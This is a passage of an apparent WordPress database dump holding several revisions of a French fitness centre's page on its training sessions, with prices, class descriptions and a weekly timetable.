(108, 1, '2013-06-16 14:16:00', '2013-06-16 14:16:00', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n\r\n&lt;table style=\&quot;border:0px;width: 100%\&quot;&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;Team Training (réservation obligatoire)\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;1 séance : 9.00€&lt;br&gt;\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)&lt;br&gt;\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)&lt;br&gt;\r\nAbonnement 1 mois illimité : 69.00€\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;Package alimentation + sport\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;blabla\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;Coaching nutritionnel\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;blabla\r\n&lt;/tr&gt;\r\n&lt;/table&gt; \r\n&lt;br&gt;&lt;br&gt;&lt;br&gt;\r\n- Team Training (réservation obligatoire)\r\n\r\n1 séance : 9.00€\r\n\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\n\r\nAbonnement 1 mois illimité : 69.00€\r\n\r\n- Package alimentation + sport\r\n\r\n1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€\r\n\r\n- Coaching nutritionnel\r\n\r\n1&lt;sup&gt;er&lt;/sup&gt; rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\n\r\nSuivi 15,00€\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n- Team Training (réservation obligatoire)\r\n\r\nDu Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\n\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00\r\n\r\n&amp;nbsp;\r\n\r\n- Personal et Duo Training (sur rendez-vous)\r\n\r\nTous les jours du lundi au dimanche.\r\n\r\n&amp;nbsp;\r\n\r\nLes cours ?\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; : entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; : travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; : alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; : pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-16 14:16:00', '2013-06-16 14:16:00', '', 11, 'http://www.crosstrainingcenter.be/?p=108', 0, 'revision', '', 0),
(109, 1, '2013-06-16 14:16:31', '2013-06-16 14:16:31', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n\r\n&lt;table style=\&quot;border:0px;width: 100%\&quot;&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;Team Training (réservation obligatoire)\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;1 séance : 9.00€&lt;br&gt;\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)&lt;br&gt;\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)&lt;br&gt;\r\nAbonnement 1 mois illimité : 69.00€\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;Package alimentation + sport\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;Coaching nutritionnel\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;blabla\r\n&lt;/tr&gt;\r\n&lt;/table&gt; \r\n&lt;br&gt;&lt;br&gt;&lt;br&gt;\r\n- Team Training (réservation obligatoire)\r\n\r\n1 séance : 9.00€\r\n\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\n\r\nAbonnement 1 mois illimité : 69.00€\r\n\r\n- Package alimentation + sport\r\n\r\n1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€\r\n\r\n- Coaching nutritionnel\r\n\r\n1&lt;sup&gt;er&lt;/sup&gt; rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\n\r\nSuivi 15,00€\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n- Team Training (réservation obligatoire)\r\n\r\nDu Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\n\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00\r\n\r\n&amp;nbsp;\r\n\r\n- Personal et Duo Training (sur rendez-vous)\r\n\r\nTous les jours du lundi au dimanche.\r\n\r\n&amp;nbsp;\r\n\r\nLes cours ?\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; : entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; : travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; : alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; : pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-16 14:16:31', '2013-06-16 14:16:31', '', 11, 'http://www.crosstrainingcenter.be/?p=109', 0, 'revision', '', 0),
(111, 1, '2013-06-16 14:17:45', '2013-06-16 14:17:45', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n\r\n&lt;table style=\&quot;border:0px;width: 100%\&quot;&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;Team Training (réservation obligatoire)\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;1 séance : 9.00€&lt;br&gt;\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)&lt;br&gt;\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)&lt;br&gt;\r\nAbonnement 1 mois illimité : 69.00€\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;Package alimentation + sport\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;Coaching nutritionnel\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€&lt;br&gt;\r\nSuivi 15,00€\r\n&lt;/tr&gt;\r\n&lt;/table&gt; \r\n&lt;br&gt;&lt;br&gt;&lt;br&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n- Team Training (réservation obligatoire)\r\n\r\nDu Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\n\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00\r\n\r\n&amp;nbsp;\r\n\r\n- Personal et Duo Training (sur rendez-vous)\r\n\r\nTous les jours du lundi au dimanche.\r\n\r\n&amp;nbsp;\r\n\r\nLes cours ?\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; : entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; : travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; : alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; : pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-16 14:17:45', '2013-06-16 14:17:45', '', 11, 'http://www.crosstrainingcenter.be/?p=111', 0, 'revision', '', 0),
(110, 1, '2013-06-16 14:17:07', '2013-06-16 14:17:07', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n\r\n&lt;table style=\&quot;border:0px;width: 100%\&quot;&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;Team Training (réservation obligatoire)\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;1 séance : 9.00€&lt;br&gt;\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)&lt;br&gt;\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)&lt;br&gt;\r\nAbonnement 1 mois illimité : 69.00€\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;Package alimentation + sport\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;Coaching nutritionnel\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€&lt;br&gt;\r\nSuivi 15,00€\r\n&lt;/tr&gt;\r\n&lt;/table&gt; \r\n&lt;br&gt;&lt;br&gt;&lt;br&gt;\r\n- Team Training (réservation obligatoire)\r\n\r\n1 séance : 9.00€\r\n\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\n\r\nAbonnement 1 mois illimité : 69.00€\r\n\r\n- Package alimentation + sport\r\n\r\n1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€\r\n\r\n- Coaching nutritionnel\r\n\r\n1&lt;sup&gt;er&lt;/sup&gt; rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\n\r\nSuivi 15,00€\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n- Team Training (réservation obligatoire)\r\n\r\nDu Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\n\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00\r\n\r\n&amp;nbsp;\r\n\r\n- Personal et Duo Training (sur rendez-vous)\r\n\r\nTous les jours du lundi au dimanche.\r\n\r\n&amp;nbsp;\r\n\r\nLes cours ?\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; : entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; : travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; : alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; : pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-16 14:17:07', '2013-06-16 14:17:07', '', 11, 'http://www.crosstrainingcenter.be/?p=110', 0, 'revision', '', 0),
(381, 1, '2013-10-09 21:58:57', '2013-10-09 21:58:57', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-10-09 21:58:57', '2013-10-09 21:58:57', '', 11, 'http://www2.crosstrainingcenter.be/11-revision-v1/', 0, 'revision', '', 0),
(112, 1, '2013-06-16 14:18:18', '2013-06-16 14:18:18', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€\r\n\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\n\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\n\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n- Team Training (réservation obligatoire)\r\n\r\nDu Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\n\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00\r\n\r\n&amp;nbsp;\r\n\r\n- Personal et Duo Training (sur rendez-vous)\r\n\r\nTous les jours du lundi au dimanche.\r\n\r\n&amp;nbsp;\r\n\r\nLes cours ?\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; : entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; : travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; : alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n- &lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; : pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-16 14:18:18', '2013-06-16 14:18:18', '', 11, 